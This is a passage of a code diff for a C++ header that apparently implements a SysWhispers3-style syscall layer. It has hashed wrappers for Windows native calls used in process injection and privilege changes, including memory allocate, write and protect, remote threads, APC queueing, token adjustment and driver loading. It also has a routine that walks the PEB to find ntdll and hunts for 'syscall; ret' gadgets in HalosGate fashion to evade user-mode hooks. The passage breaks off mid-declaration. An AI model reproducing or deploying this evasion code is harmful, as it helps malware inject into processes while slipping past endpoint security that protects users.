Sw3NtCreateKey( - OUT PHANDLE KeyHandle, - IN ACCESS_MASK DesiredAccess, - IN POBJECT_ATTRIBUTES ObjectAttributes, - IN ULONG TitleIndex, - IN PUNICODE_STRING Class OPTIONAL, - IN ULONG CreateOptions, - OUT PULONG Disposition OPTIONAL -); - -EXTERN_C NTSTATUS Sw3NtSetValueKey( - IN HANDLE KeyHandle, - IN PUNICODE_STRING ValueName, - IN ULONG TitleIndex, - IN ULONG Type, - IN PVOID Data, - IN ULONG DataSize -); - -EXTERN_C NTSTATUS Sw3NtCreateFile( - OUT PHANDLE FileHandle, - IN ACCESS_MASK DesiredAccess, - IN POBJECT_ATTRIBUTES ObjectAttributes, - OUT PIO_STATUS_BLOCK IoStatusBlock, - IN PLARGE_INTEGER AllocationSize OPTIONAL, - IN ULONG FileAttributes, - IN ULONG ShareAccess, - IN ULONG CreateDisposition, - IN ULONG CreateOptions, - IN PVOID EaBuffer OPTIONAL, - IN ULONG EaLength -); - - -template -NTSTATUS Sw3NtAllocateVirtualMemory_(Args&&... args) -{ - // need to put Zw for the syscall - // char *FunctionName = "ZwAllocateVirtualMemory"; - // GlobalHash = SW3_HashSyscall(FunctionName); - // std::cout << "ZwAllocateVirtualMemory " << GlobalHash << std::endl; - - GlobalHash = 806327511; - return Sw3NtAllocateVirtualMemory(std::forward(args)...); -} - - -template -NTSTATUS Sw3NtWaitForSingleObject_(Args&&... args) -{ - // char *FunctionName = "ZwWaitForSingleObject"; - // GlobalHash = SW3_HashSyscall(FunctionName); - // std::cout << "ZwWaitForSingleObject " << GlobalHash << std::endl; - - GlobalHash = 3941435821; - return Sw3NtWaitForSingleObject(std::forward(args)...); -} - - -template -NTSTATUS Sw3NtClose_(Args&&... args) -{ - // char *FunctionName = "ZwClose"; - // GlobalHash = SW3_HashSyscall(FunctionName); - // std::cout << "ZwClose " << GlobalHash << std::endl; - - GlobalHash = 745328858; - return Sw3NtClose(std::forward(args)...); -} - - -template -NTSTATUS Sw3NtWriteVirtualMemory_(Args&&... args) -{ - // char *FunctionName = "ZwWriteVirtualMemory"; - // GlobalHash = SW3_HashSyscall(FunctionName); - // std::cout << "ZwWriteVirtualMemory " << GlobalHash << std::endl; - - GlobalHash = 4080026747; - return Sw3NtWriteVirtualMemory(std::forward(args)...); -} - - -template -NTSTATUS Sw3NtProtectVirtualMemory_(Args&&... args) -{ - // char *FunctionName = "ZwProtectVirtualMemory"; - // GlobalHash = SW3_HashSyscall(FunctionName); - // std::cout << "ZwProtectVirtualMemory " << GlobalHash << std::endl; - - GlobalHash = 699580991; - return Sw3NtProtectVirtualMemory(std::forward(args)...); -} - - -template -NTSTATUS Sw3NtOpenProcess_(Args&&... args) -{ - // char *FunctionName = "ZwOpenProcess"; - // GlobalHash = SW3_HashSyscall(FunctionName); - // std::cout << "ZwAllocateVirtualMemory " << GlobalHash << std::endl; - - GlobalHash = 3548847587; - // __debugbreak(); - return Sw3NtOpenProcess(std::forward(args)...); - -} - - -template -NTSTATUS Sw3NtCreateThreadEx_(Args&&... args) -{ - // char *FunctionName = "ZwCreateThreadEx"; - // GlobalHash = SW3_HashSyscall(FunctionName); - // std::cout << "ZwCreateThreadEx " << GlobalHash << std::endl; - - GlobalHash = 3653557611; - return Sw3NtCreateThreadEx(std::forward(args)...); -} - - -template -NTSTATUS Sw3NtCreateProcess_(Args&&... args) -{ - // PCSTR FunctionName = "ZwCreateProcess"; - // GlobalHash = SW3_HashSyscall(FunctionName); - // std::cout << "ZwCreateProcess " << GlobalHash << std::endl; - - GlobalHash = 1768521463; - return Sw3NtCreateProcess(std::forward(args)...); -} - - -template -NTSTATUS Sw3NtQueueApcThread_(Args&&... args) -{ - // PCSTR FunctionName = "ZwQueueApcThread"; - // GlobalHash = SW3_HashSyscall(FunctionName); - // std::cout << "ZwQueueApcThread " << GlobalHash << std::endl; - - GlobalHash = 735850453; - return Sw3NtQueueApcThread(std::forward(args)...); -} - - -template -NTSTATUS Sw3NtResumeThread_(Args&&... args) -{ - // PCSTR FunctionName = "ZwResumeThread"; - // GlobalHash = SW3_HashSyscall(FunctionName); - // std::cout << "ZwResumeThread " << GlobalHash << std::endl; - - GlobalHash = 4130550557; - return Sw3NtResumeThread(std::forward(args)...); -} - - -template -NTSTATUS Sw3NtOpenProcessToken_(Args&&... args) -{ - // PCSTR FunctionName = "ZwOpenProcessToken"; - // GlobalHash = SW3_HashSyscall(FunctionName); - // std::cout << FunctionName << " " << GlobalHash << std::endl; - - GlobalHash = 2590718720; - return Sw3NtOpenProcessToken(std::forward(args)...); -} - - -template -NTSTATUS Sw3NtAdjustPrivilegesToken_(Args&&... args) -{ - // PCSTR FunctionName = "ZwAdjustPrivilegesToken"; - // GlobalHash = SW3_HashSyscall(FunctionName); - // std::cout << FunctionName << " " << GlobalHash << std::endl; - - GlobalHash = 2243258122; - return Sw3NtAdjustPrivilegesToken(std::forward(args)...); -} - - -template -NTSTATUS Sw3NtQueryVirtualMemory_(Args&&... args) -{ - // PCSTR FunctionName = "ZwQueryVirtualMemory"; - // GlobalHash = SW3_HashSyscall(FunctionName); - // std::cout << FunctionName << " " << GlobalHash << std::endl; - - GlobalHash = 422492770; - return Sw3NtQueryVirtualMemory(std::forward(args)...); -} - - -template -NTSTATUS Sw3NtReadVirtualMemory_(Args&&... args) -{ - // PCSTR FunctionName = "ZwReadVirtualMemory"; - // GlobalHash = SW3_HashSyscall(FunctionName); - // std::cout << FunctionName << " " << GlobalHash << std::endl; - - GlobalHash = 663422542; - return Sw3NtReadVirtualMemory(std::forward(args)...); -} - - -template -NTSTATUS Sw3NtWriteFile_(Args&&... args) -{ - // PCSTR FunctionName = "ZwWriteFile"; - // GlobalHash = SW3_HashSyscall(FunctionName); - // std::cout << FunctionName << " " << GlobalHash << std::endl; - - GlobalHash = 4125819791; - return Sw3NtWriteFile(std::forward(args)...); -} - -template -NTSTATUS Sw3NtLoadDriver_(Args&&... args) -{ - // PCSTR FunctionName = "ZwLoadDriver"; - // GlobalHash = SW3_HashSyscall(FunctionName); - // std::cout << FunctionName << " " << GlobalHash << std::endl; - - GlobalHash = 910764656; - return Sw3NtLoadDriver(std::forward(args)...); -} - - -template -NTSTATUS Sw3NtDeviceIoControlFile_(Args&&... args) -{ - // PCSTR FunctionName = "ZwDeviceIoControlFile"; - // GlobalHash = SW3_HashSyscall(FunctionName); - // std::cout << FunctionName << " " << GlobalHash << std::endl; - - GlobalHash = 1830534599; - return Sw3NtDeviceIoControlFile(std::forward(args)...); -} - -template -NTSTATUS Sw3NtCreateKey_(Args&&... args) -{ - // PCSTR FunctionName = "ZwCreateKey"; - // GlobalHash = SW3_HashSyscall(FunctionName); - // std::cout << FunctionName << " " << GlobalHash << std::endl; - - GlobalHash = 1519667297; - return Sw3NtCreateKey(std::forward(args)...); -} - -template -NTSTATUS Sw3NtSetValueKey_(Args&&... args) -{ - // PCSTR FunctionName = "ZwSetValueKey"; - // GlobalHash = SW3_HashSyscall(FunctionName); - // std::cout << FunctionName << " " << GlobalHash << std::endl; - - GlobalHash = 3718251598; - return Sw3NtSetValueKey(std::forward(args)...); -} - -template -NTSTATUS Sw3NtCreateFile_(Args&&... args) -{ - // PCSTR FunctionName = "ZwCreateFile"; - // GlobalHash = SW3_HashSyscall(FunctionName); - // std::cout << FunctionName << " " << GlobalHash << std::endl; - - GlobalHash = 2061785324; - return Sw3NtCreateFile(std::forward(args)...); -} - - -class Entry -{ -public: - Entry(DWORD hash, DWORD address, PVOID syscallAddress) - : m_hash(hash) - , m_address(address) - , m_syscallAddress(syscallAddress) - { - } - - DWORD getHash() - { - return m_hash; - } - - DWORD getAddress() - { - return m_address; - } - - PVOID getSyscallAddress() - { - return m_syscallAddress; - } - - -private: - DWORD m_hash; - DWORD m_address; - PVOID m_syscallAddress; -}; - - -bool compareEntry(Entry i1, Entry i2); - - -class SyscallList -{ -private: - - PVOID getNtdllExportDirectory() - { - PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60); - - PSW3_PEB_LDR_DATA Ldr = Peb->Ldr; - PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; - m_dllBase = NULL; - - // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second - // in the list, so it's safer to loop through the full list and find it. - PSW3_LDR_DATA_TABLE_ENTRY LdrEntry; - for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) - { - m_dllBase = LdrEntry->DllBase; - PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)m_dllBase; - PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, m_dllBase, DosHeader->e_lfanew); - PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; - DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; - if (VirtualAddress == 0) continue; - - ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, m_dllBase, VirtualAddress); - - // If this is NTDLL.dll, exit loop. - PCHAR DllName = SW3_RVA2VA(PCHAR, m_dllBase, ExportDirectory->Name); - - if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) - continue; - if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) - break; - } - - if (!ExportDirectory) - return NULL; - - return (PVOID)ExportDirectory; - } - - void fillSyscallEntryList(PVOID add) - { - PIMAGE_EXPORT_DIRECTORY ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)add; - DWORD NumberOfNames = ExportDirectory->NumberOfNames; - PDWORD Functions = SW3_RVA2VA(PDWORD, m_dllBase, ExportDirectory->AddressOfFunctions); - PDWORD Names = SW3_RVA2VA(PDWORD, m_dllBase, ExportDirectory->AddressOfNames); - PWORD Ordinals = SW3_RVA2VA(PWORD, m_dllBase, ExportDirectory->AddressOfNameOrdinals); - - // Populate SW3_SyscallList with unsorted Zw* entries. - do - { - PCHAR FunctionName = SW3_RVA2VA(PCHAR, m_dllBase, Names[NumberOfNames - 1]); - - // Is this a system call? - // start with Zw - if (*(USHORT*)FunctionName == 0x775a) - { - DWORD Hash = SW3_HashSyscall(FunctionName); - - DWORD Address = Functions[Ordinals[NumberOfNames - 1]]; - PVOID SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, m_dllBase, Address)); - - Entry newEntry(Hash, Address, SyscallAddress); - m_syscallEntry.push_back(std::move(newEntry)); - - } - } while (--NumberOfNames); - - // sort for the getSyscallNumber - std::sort(m_syscallEntry.begin(), m_syscallEntry.end(), compareEntry); - } - - - PVOID SC_Address(PVOID NtApiAddress) - { - DWORD searchLimit = 512; - PVOID SyscallAddress; - - // If the process is 64-bit on a 64-bit OS, we need to search for syscall - BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 }; - ULONG distance_to_syscall = 0x12; - - // we don't really care if there is a 'jmp' between - // NtApiAddress and the 'syscall; ret' instructions - SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall); - - if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) - { - // we can use the original code for this system call :) - return SyscallAddress; - } - - // the 'syscall; ret' intructions have not been found, - // we will try to use one near it, similarly to HalosGate - for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++) - { - // let's try with an Nt* API below our syscall - SyscallAddress = SW3_RVA2VA( - PVOID, - NtApiAddress, - distance_to_syscall + num_jumps * 0x20); - - if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) - { - return SyscallAddress; - } - - // let's try with an Nt* API above our syscall - SyscallAddress = SW3_RVA2VA( - PVOID, - NtApiAddress, - distance_to_syscall - num_jumps * 0x20); - - if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) - { - return SyscallAddress; - } - } - - return NULL; - } - - PVOID m_dllBase; - std::vector m_syscallEntry; - -protected: - SyscallList() - { - PVOID add = getNtdllExportDirectory(); - fillSyscallEntryList(add); - } - - static SyscallList* singleton_; - -public: - - SyscallList(SyscallList &other) = delete; - void operator=(const SyscallList &) = delete; - static SyscallList *GetInstance(); - - // need to be sorted to be able to get the syscall number from the entry index - DWORD getSyscallNumber(DWORD hash) - { - for(int i=0; i +#include +#include "include.hpp" + +#include +#include +#include + +extern DWORD GlobalHash; + +EXTERN_C DWORD getGlobalHash(); +DWORD SW3_HashSyscall(PCSTR FunctionName); +EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash); +EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash); + + +EXTERN_C NTSTATUS Sw3NtAllocateVirtualMemory( +IN HANDLE ProcessHandle, +IN OUT PVOID * BaseAddress, +IN ULONG ZeroBits, +IN OUT PSIZE_T RegionSize, +IN ULONG AllocationType, +IN ULONG Protect); + + +EXTERN_C NTSTATUS Sw3NtWaitForSingleObject( +IN HANDLE ObjectHandle, +IN BOOLEAN Alertable, +IN PLARGE_INTEGER TimeOut OPTIONAL); + + +EXTERN_C NTSTATUS Sw3NtCreateThreadEx( +OUT PHANDLE ThreadHandle, +IN ACCESS_MASK DesiredAccess, +IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, +IN HANDLE ProcessHandle, +IN PVOID StartRoutine, +IN PVOID Argument OPTIONAL, +IN ULONG CreateFlags, +IN SIZE_T ZeroBits, +IN SIZE_T StackSize, +IN SIZE_T MaximumStackSize, +IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL); + + +EXTERN_C NTSTATUS Sw3NtClose( +IN HANDLE Handle); + + +EXTERN_C NTSTATUS Sw3NtWriteVirtualMemory( +IN HANDLE ProcessHandle, +IN PVOID BaseAddress, +IN PVOID Buffer, +IN SIZE_T NumberOfBytesToWrite, +OUT PSIZE_T NumberOfBytesWritten OPTIONAL); + + +EXTERN_C NTSTATUS Sw3NtProtectVirtualMemory( +IN HANDLE ProcessHandle, +IN OUT PVOID * BaseAddress, +IN OUT PSIZE_T RegionSize, +IN ULONG NewProtect, +OUT PULONG OldProtect); + + +EXTERN_C NTSTATUS Sw3NtOpenProcess( +OUT PHANDLE ProcessHandle, +IN ACCESS_MASK DesiredAccess, +IN POBJECT_ATTRIBUTES ObjectAttributes, +IN CLIENT_ID* ClientId OPTIONAL); + + +EXTERN_C NTSTATUS Sw3NtCreateProcess( +OUT PHANDLE ProcessHandle, +IN ACCESS_MASK DesiredAccess, +IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, +IN HANDLE ParentProcess, +IN BOOLEAN InheritObjectTable, +IN HANDLE SectionHandle OPTIONAL, +IN HANDLE DebugPort OPTIONAL, +IN HANDLE ExceptionPort OPTIONAL ); + + +EXTERN_C NTSTATUS Sw3NtQueueApcThread( +IN HANDLE ThreadHandle, +IN PIO_APC_ROUTINE ApcRoutine, +IN PVOID ApcRoutineContext OPTIONAL, +IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, +IN ULONG pcReserved OPTIONAL ); + + +EXTERN_C NTSTATUS Sw3NtResumeThread( +IN HANDLE ThreadHandle, +OUT PULONG SuspendCount OPTIONAL ); + + +EXTERN_C NTSTATUS Sw3NtOpenProcessToken( +IN HANDLE ProcessHandle, +IN ACCESS_MASK DesiredAccess, +OUT PHANDLE TokenHandle); + + +EXTERN_C NTSTATUS Sw3NtAdjustPrivilegesToken( +IN HANDLE TokenHandle, +IN BOOLEAN DisableAllPrivileges, +IN PTOKEN_PRIVILEGES NewState OPTIONAL, +IN ULONG BufferLength, +OUT PTOKEN_PRIVILEGES PreviousState OPTIONAL, +OUT PULONG ReturnLength OPTIONAL); + + +EXTERN_C NTSTATUS Sw3NtQueryVirtualMemory( +IN HANDLE ProcessHandle, +IN PVOID BaseAddress, +IN MEMORY_INFORMATION_CLASS MemoryInformationClass, +OUT PVOID MemoryInformation, +IN SIZE_T MemoryInformationLength, +OUT PSIZE_T ReturnLength OPTIONAL); + + +EXTERN_C NTSTATUS Sw3NtReadVirtualMemory( +IN HANDLE ProcessHandle, +IN PVOID BaseAddress OPTIONAL, +OUT PVOID Buffer, +IN SIZE_T BufferSize, +OUT PSIZE_T NumberOfBytesRead OPTIONAL); + +EXTERN_C NTSTATUS Sw3NtWriteFile( +IN HANDLE FileHandle, +IN HANDLE Event OPTIONAL, +IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, +IN PVOID ApcContext OPTIONAL, +OUT PIO_STATUS_BLOCK IoStatusBlock, +IN PVOID Buffer, +IN ULONG Length, +IN PLARGE_INTEGER ByteOffset OPTIONAL, +IN PULONG Key OPTIONAL +); + +EXTERN_C NTSTATUS Sw3NtLoadDriver( + PUNICODE_STRING DriverServiceName +); + +EXTERN_C NTSTATUS Sw3NtDeviceIoControlFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG IoControlCode, + IN PVOID InputBuffer OPTIONAL, + IN ULONG InputBufferLength, + OUT PVOID OutputBuffer OPTIONAL, + IN ULONG OutputBufferLength +); + +EXTERN_C NTSTATUS Sw3NtCreateKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG TitleIndex, + IN PUNICODE_STRING Class OPTIONAL, + IN ULONG CreateOptions, + OUT PULONG Disposition OPTIONAL +); + +EXTERN_C NTSTATUS Sw3NtSetValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN ULONG TitleIndex, + IN ULONG Type, + IN PVOID Data, + IN ULONG DataSize +); + +EXTERN_C NTSTATUS Sw3NtCreateFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER AllocationSize OPTIONAL, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN PVOID EaBuffer OPTIONAL, + IN ULONG EaLength +); + + +template +NTSTATUS Sw3NtAllocateVirtualMemory_(Args&&... args) +{ + // need to put Zw for the syscall + // char *FunctionName = "ZwAllocateVirtualMemory"; + // GlobalHash = SW3_HashSyscall(FunctionName); + // std::cout << "ZwAllocateVirtualMemory " << GlobalHash << std::endl; + + GlobalHash = 806327511; + return Sw3NtAllocateVirtualMemory(std::forward(args)...); +} + + +template +NTSTATUS Sw3NtWaitForSingleObject_(Args&&... args) +{ + // char *FunctionName = "ZwWaitForSingleObject"; + // GlobalHash = SW3_HashSyscall(FunctionName); + // std::cout << "ZwWaitForSingleObject " << GlobalHash << std::endl; + + GlobalHash = 3941435821; + return Sw3NtWaitForSingleObject(std::forward(args)...); +} + + +template +NTSTATUS Sw3NtClose_(Args&&... args) +{ + // char *FunctionName = "ZwClose"; + // GlobalHash = SW3_HashSyscall(FunctionName); + // std::cout << "ZwClose " << GlobalHash << std::endl; + + GlobalHash = 745328858; + return Sw3NtClose(std::forward(args)...); +} + + +template +NTSTATUS Sw3NtWriteVirtualMemory_(Args&&... args) +{ + // char *FunctionName = "ZwWriteVirtualMemory"; + // GlobalHash = SW3_HashSyscall(FunctionName); + // std::cout << "ZwWriteVirtualMemory " << GlobalHash << std::endl; + + GlobalHash = 4080026747; + return Sw3NtWriteVirtualMemory(std::forward(args)...); +} + + +template +NTSTATUS Sw3NtProtectVirtualMemory_(Args&&... args) +{ + // char *FunctionName = "ZwProtectVirtualMemory"; + // GlobalHash = SW3_HashSyscall(FunctionName); + // std::cout << "ZwProtectVirtualMemory " << GlobalHash << std::endl; + + GlobalHash = 699580991; + return Sw3NtProtectVirtualMemory(std::forward(args)...); +} + + +template +NTSTATUS Sw3NtOpenProcess_(Args&&... args) +{ + // char *FunctionName = "ZwOpenProcess"; + // GlobalHash = SW3_HashSyscall(FunctionName); + // std::cout << "ZwAllocateVirtualMemory " << GlobalHash << std::endl; + + GlobalHash = 3548847587; + // __debugbreak(); + return Sw3NtOpenProcess(std::forward(args)...); + +} + + +template +NTSTATUS Sw3NtCreateThreadEx_(Args&&... args) +{ + // char *FunctionName = "ZwCreateThreadEx"; + // GlobalHash = SW3_HashSyscall(FunctionName); + // std::cout << "ZwCreateThreadEx " << GlobalHash << std::endl; + + GlobalHash = 3653557611; + return Sw3NtCreateThreadEx(std::forward(args)...); +} + + +template +NTSTATUS Sw3NtCreateProcess_(Args&&... args) +{ + // PCSTR FunctionName = "ZwCreateProcess"; + // GlobalHash = SW3_HashSyscall(FunctionName); + // std::cout << "ZwCreateProcess " << GlobalHash << std::endl; + + GlobalHash = 1768521463; + return Sw3NtCreateProcess(std::forward(args)...); +} + + +template +NTSTATUS Sw3NtQueueApcThread_(Args&&... args) +{ + // PCSTR FunctionName = "ZwQueueApcThread"; + // GlobalHash = SW3_HashSyscall(FunctionName); + // std::cout << "ZwQueueApcThread " << GlobalHash << std::endl; + + GlobalHash = 735850453; + return Sw3NtQueueApcThread(std::forward(args)...); +} + + +template +NTSTATUS Sw3NtResumeThread_(Args&&... args) +{ + // PCSTR FunctionName = "ZwResumeThread"; + // GlobalHash = SW3_HashSyscall(FunctionName); + // std::cout << "ZwResumeThread " << GlobalHash << std::endl; + + GlobalHash = 4130550557; + return Sw3NtResumeThread(std::forward(args)...); +} + + +template +NTSTATUS Sw3NtOpenProcessToken_(Args&&... args) +{ + // PCSTR FunctionName = "ZwOpenProcessToken"; + // GlobalHash = SW3_HashSyscall(FunctionName); + // std::cout << FunctionName << " " << GlobalHash << std::endl; + + GlobalHash = 2590718720; + return Sw3NtOpenProcessToken(std::forward(args)...); +} + + +template +NTSTATUS Sw3NtAdjustPrivilegesToken_(Args&&... args) +{ + // PCSTR FunctionName = "ZwAdjustPrivilegesToken"; + // GlobalHash = SW3_HashSyscall(FunctionName); + // std::cout << FunctionName << " " << GlobalHash << std::endl; + + GlobalHash = 2243258122; + return Sw3NtAdjustPrivilegesToken(std::forward(args)...); +} + + +template +NTSTATUS Sw3NtQueryVirtualMemory_(Args&&... args) +{ + // PCSTR FunctionName = "ZwQueryVirtualMemory"; + // GlobalHash = SW3_HashSyscall(FunctionName); + // std::cout << FunctionName << " " << GlobalHash << std::endl; + + GlobalHash = 422492770; + return Sw3NtQueryVirtualMemory(std::forward(args)...); +} + + +template +NTSTATUS Sw3NtReadVirtualMemory_(Args&&... args) +{ + // PCSTR FunctionName = "ZwReadVirtualMemory"; + // GlobalHash = SW3_HashSyscall(FunctionName); + // std::cout << FunctionName << " " << GlobalHash << std::endl; + + GlobalHash = 663422542; + return Sw3NtReadVirtualMemory(std::forward(args)...); +} + + +template +NTSTATUS Sw3NtWriteFile_(Args&&... args) +{ + // PCSTR FunctionName = "ZwWriteFile"; + // GlobalHash = SW3_HashSyscall(FunctionName); + // std::cout << FunctionName << " " << GlobalHash << std::endl; + + GlobalHash = 4125819791; + return Sw3NtWriteFile(std::forward(args)...); +} + +template +NTSTATUS Sw3NtLoadDriver_(Args&&... args) +{ + // PCSTR FunctionName = "ZwLoadDriver"; + // GlobalHash = SW3_HashSyscall(FunctionName); + // std::cout << FunctionName << " " << GlobalHash << std::endl; + + GlobalHash = 910764656; + return Sw3NtLoadDriver(std::forward(args)...); +} + + +template +NTSTATUS Sw3NtDeviceIoControlFile_(Args&&... args) +{ + // PCSTR FunctionName = "ZwDeviceIoControlFile"; + // GlobalHash = SW3_HashSyscall(FunctionName); + // std::cout << FunctionName << " " << GlobalHash << std::endl; + + GlobalHash = 1830534599; + return Sw3NtDeviceIoControlFile(std::forward(args)...); +} + +template +NTSTATUS Sw3NtCreateKey_(Args&&... args) +{ + // PCSTR FunctionName = "ZwCreateKey"; + // GlobalHash = SW3_HashSyscall(FunctionName); + // std::cout << FunctionName << " " << GlobalHash << std::endl; + + GlobalHash = 1519667297; + return Sw3NtCreateKey(std::forward(args)...); +} + +template +NTSTATUS Sw3NtSetValueKey_(Args&&... args) +{ + // PCSTR FunctionName = "ZwSetValueKey"; + // GlobalHash = SW3_HashSyscall(FunctionName); + // std::cout << FunctionName << " " << GlobalHash << std::endl; + + GlobalHash = 3718251598; + return Sw3NtSetValueKey(std::forward(args)...); +} + +template +NTSTATUS Sw3NtCreateFile_(Args&&... args) +{ + // PCSTR FunctionName = "ZwCreateFile"; + // GlobalHash = SW3_HashSyscall(FunctionName); + // std::cout << FunctionName << " " << GlobalHash << std::endl; + + GlobalHash = 2061785324; + return Sw3NtCreateFile(std::forward(args)...); +} + + +class Entry +{ +public: + Entry(DWORD hash, DWORD address, PVOID syscallAddress) + : m_hash(hash) + , m_address(address) + , m_syscallAddress(syscallAddress) + { + } + + DWORD getHash() + { + return m_hash; + } + + DWORD getAddress() + { + return m_address; + } + + PVOID getSyscallAddress() + { + return m_syscallAddress; + } + + +private: + DWORD m_hash; + DWORD m_address; + PVOID m_syscallAddress; +}; + + +bool compareEntry(Entry i1, Entry i2); + + +class SyscallList +{ +private: + + PVOID getNtdllExportDirectory() + { + PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60); + + PSW3_PEB_LDR_DATA Ldr = Peb->Ldr; + PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; + m_dllBase = NULL; + + // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second + // in the list, so it's safer to loop through the full list and find it. + PSW3_LDR_DATA_TABLE_ENTRY LdrEntry; + for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) + { + m_dllBase = LdrEntry->DllBase; + PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)m_dllBase; + PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, m_dllBase, DosHeader->e_lfanew); + PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; + DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + if (VirtualAddress == 0) continue; + + ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, m_dllBase, VirtualAddress); + + // If this is NTDLL.dll, exit loop. + PCHAR DllName = SW3_RVA2VA(PCHAR, m_dllBase, ExportDirectory->Name); + + if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) + continue; + if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) + break; + } + + if (!ExportDirectory) + return NULL; + + return (PVOID)ExportDirectory; + } + + void fillSyscallEntryList(PVOID add) + { + PIMAGE_EXPORT_DIRECTORY ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)add; + DWORD NumberOfNames = ExportDirectory->NumberOfNames; + PDWORD Functions = SW3_RVA2VA(PDWORD, m_dllBase, ExportDirectory->AddressOfFunctions); + PDWORD Names = SW3_RVA2VA(PDWORD, m_dllBase, ExportDirectory->AddressOfNames); + PWORD Ordinals = SW3_RVA2VA(PWORD, m_dllBase, ExportDirectory->AddressOfNameOrdinals); + + // Populate SW3_SyscallList with unsorted Zw* entries. + do + { + PCHAR FunctionName = SW3_RVA2VA(PCHAR, m_dllBase, Names[NumberOfNames - 1]); + + // Is this a system call? + // start with Zw + if (*(USHORT*)FunctionName == 0x775a) + { + DWORD Hash = SW3_HashSyscall(FunctionName); + + DWORD Address = Functions[Ordinals[NumberOfNames - 1]]; + PVOID SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, m_dllBase, Address)); + + Entry newEntry(Hash, Address, SyscallAddress); + m_syscallEntry.push_back(std::move(newEntry)); + + } + } while (--NumberOfNames); + + // sort for the getSyscallNumber + std::sort(m_syscallEntry.begin(), m_syscallEntry.end(), compareEntry); + } + + + PVOID SC_Address(PVOID NtApiAddress) + { + DWORD searchLimit = 512; + PVOID SyscallAddress; + + // If the process is 64-bit on a 64-bit OS, we need to search for syscall + BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 }; + ULONG distance_to_syscall = 0x12; + + // we don't really care if there is a 'jmp' between + // NtApiAddress and the 'syscall; ret' instructions + SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall); + + if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) + { + // we can use the original code for this system call :) + return SyscallAddress; + } + + // the 'syscall; ret' intructions have not been found, + // we will try to use one near it, similarly to HalosGate + for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++) + { + // let's try with an Nt* API below our syscall + SyscallAddress = SW3_RVA2VA( + PVOID, + NtApiAddress, + distance_to_syscall + num_jumps * 0x20); + + if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) + { + return SyscallAddress; + } + + // let's try with an Nt* API above our syscall + SyscallAddress = SW3_RVA2VA( + PVOID, + NtApiAddress, + distance_to_syscall - num_jumps * 0x20); + + if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) + { + return SyscallAddress; + } + } + + return NULL; + } + + PVOID m_dllBase; + std::vector m_syscallEntry; + +protected: + SyscallList() + { + PVOID add = getNtdllExportDirectory(); + fillSyscallEntryList(add); + } + + static SyscallList* singleton_; + +public: + + SyscallList(SyscallList &other) = delete; + void operator=(const SyscallList &) = delete; + static SyscallList 